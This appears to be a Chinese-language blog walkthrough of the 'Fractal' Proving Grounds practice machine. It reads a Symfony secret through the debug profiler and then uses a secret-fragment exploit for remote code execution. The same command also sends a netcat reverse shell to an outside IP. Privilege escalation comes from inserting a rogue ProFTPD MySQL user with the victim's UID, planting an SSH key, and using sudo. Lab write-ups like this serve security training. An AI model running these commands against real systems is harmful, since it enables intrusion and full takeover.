Proving Grounds Practice : Fractal Walkthrough

 Proving Grounds Practice : Fractal Walkthrough


Foothold :

  • 網站發現 Symfony,讀取預設路徑的 app/config/parameters.yml 檔獲得 secret 密鑰
  • 透過 Symfony 漏洞利用,直接使用 RCE 的方式獲取 Reverse Shell

PE :

  • 此台靶機有安裝 ProFTPD 服務,從 ProFTPD 結合 MySQL 的漏洞利用知道
  • 可以透過在資料庫塞入相同使用者名稱的 UID、GID 但密碼不同的 FTP 使用者
  • 透過 FTP 登入去家目錄新增 authorized_keys 然後登入為該使用者
  • sudo -l 不用密碼直接提權


Rustscan,└─$ rustscan -a 192.168.223.233 --scripts none --ulimit 5000 | tee rustscan



snmp check,└─$ sudo nmap -sU -p 161 192.168.223.233 | tee snmp



nmap,└─$ sudo nmap -sCV -A -p 21,22,80 192.168.223.233 | tee nmap



FTP 測試匿名、ftp:ftp、ftp:password 等皆登入失敗



80 /




searchsploit Symfony



看來可能有 LFI



80 /robots.txt



80 /app_dev.php



點了右下角的 sf 3.4.46 跳轉如下



底下還有 phpinfo

80 /app_dev.php/_profiler/phpinfo




gobuster 80 /



80 /phpmyadmin

測試了幾個常用帳號密碼都沒有用



參考 Symfony Web 框架文件以及針對 Symfony 3.4 版本資料庫預設設定檔位置

確認路徑在 app/config/parameters.yml

以及 Symfony 的 Exploit 去讀取檔案

http://192.168.223.233/app_dev.php/_profiler/open?file=app/config/parameters.yml

獲得一組憑證 symfony:symfony_db_password

以及 secret: 48a8538e6260789558f0dfe29861c05b



補充說明 : 

參考 https://symfony.com/doc/4.x/configuration/front_controllers_and_kernel.html#debug-mode

Symfony 系統偵錯模式和分析要查找下列路徑

  • https://example.com/_profiler
  • https://example.com/app_dev.php/_profiler
  • https://example.com/app_dev.php



查找時還有發現 Symfony 的 Exploiy

參考 : https://github.com/ambionics/symfony-exploits/blob/main/secret_fragment_exploit.py

這個 Exploit 是透過拿到的 secret 去做 URL encode

使用 └─$ python3 secret_fragment_exploit.py 'http://192.168.223.233/_fragment' --method 2 --secret '48a8538e6260789558f0dfe29861c05b' --algo 'sha256' --internal-url 'http://192.168.223.233/_fragment' --function system --parameters 'id'  



將產出的 encode URL 貼到瀏覽器即可獲得 "id" 資訊



修改 id 為 cat /etc/passwd



指令改 rm 拿 Reverse Shell

└─$ python3 secret_fragment_exploit.py 'http://192.168.223.233/_fragment' --method 2 --secret '48a8538e6260789558f0dfe29861c05b' --algo 'sha256' --internal-url 'http://192.168.223.233/_fragment' --function system --parameters 'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.168 80 >/tmp/f'



80 Reverse Shell 進來了,獲取第一階段 flag



cat /etc/passwd

獲得使用者 benoit



發現 ProFTPD 服務整合 MySQL 模組有啟用
 (Include /etc/proftpd/sql.conf inside /etc/proftpd/proftpd.conf)


/etc/proftpd 底下有個 sql.conf 裡面看到帳號密碼

proftpd:protfpd_with_MYSQL_password



在 table 裡面發現一組憑證 www    | {md5}RDLDFEKYiwjDGYuwpgb7Cw==

但是該 HASH 解不開



參考 ProFTPD 整合 MySQL 的漏洞利用,發現使用者會參考系統的 UID、GID 等

解不開就自記建立一組帳號密碼

參考 https://medium.com/@nico26deo/how-to-set-up-proftpd-with-a-mysql-backend-on-ubuntu-c6f23a638caf



依據文章內容自己先產生一組密碼為 password

/bin/echo "{md5}"`/bin/echo -n "testpass" | openssl dgst -binary -md5 | openssl enc -base64`

{md5}F5rUXGziy5fPECniEgRugQ==





新增兩個使用者 benoit、aries

benoit 的 UID、GID 要使用跟 /etc/passwd 列舉的一樣

aries 是用來測試的看看可不可以修改而已,事實上是可以

INSERT INTO ftpuser (id, userid, passwd, uid, gid, homedir, shell, count, accessed, modified) VALUES (NULL, 'aries', '{md5}F5rUXGziy5fPECniEgRugQ==', 1000, 1000, '/', '/bin/bash', 0, '2024-08-13 00:01:02', '2024-08-13 00:01:02');



FTP 登入後到 benoit 的家目錄,建立 .ssh 資料夾然後塞入自己建立的 authorized_keys



ssh 帶 key 進入,sudo -l 可以執行任意指令,直接提權為 root 獲取 flag



補充說明 :

WalkThrough 裡面關於 ProFTPD 建立使用者的說明與應用




另外枚舉到的憑證 proftpd:protfpd_with_MYSQL_password
也可以直接透過 phpmyadmin 登入


UI 介面可以直接查看使用者 www 的相關欄位資訊



透過 phpmyadmin UI 介面新增使用者也沒有問題



另一種解法,將現有 FTP 使用者 www 的密碼先更新(因原有的破不了)

update ftpuser set passwd='{md5}F5rUXGziy5fPECniEgRugQ==' where id = 1;

但該使用者預設的 HOME 目錄是 /var/www/html 故切換不到其他目錄(例如 /home)

所以要一併修改該使用者登入後的 HOME 目錄

update ftpuser set homedir='/' where id = 1;

後續透過 FTP 登入執行一樣的方式去建立 benoit 的 authorized_keys 但是會顯示沒有權限

接著可以直接將使用者 www 的 uid & gid 設定成跟 benoit 一樣的 1000 即可
update ftpuser set uid=1000,gid=1000 where id=1;
就可以直接建立 authorized_keys 檔案了



留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)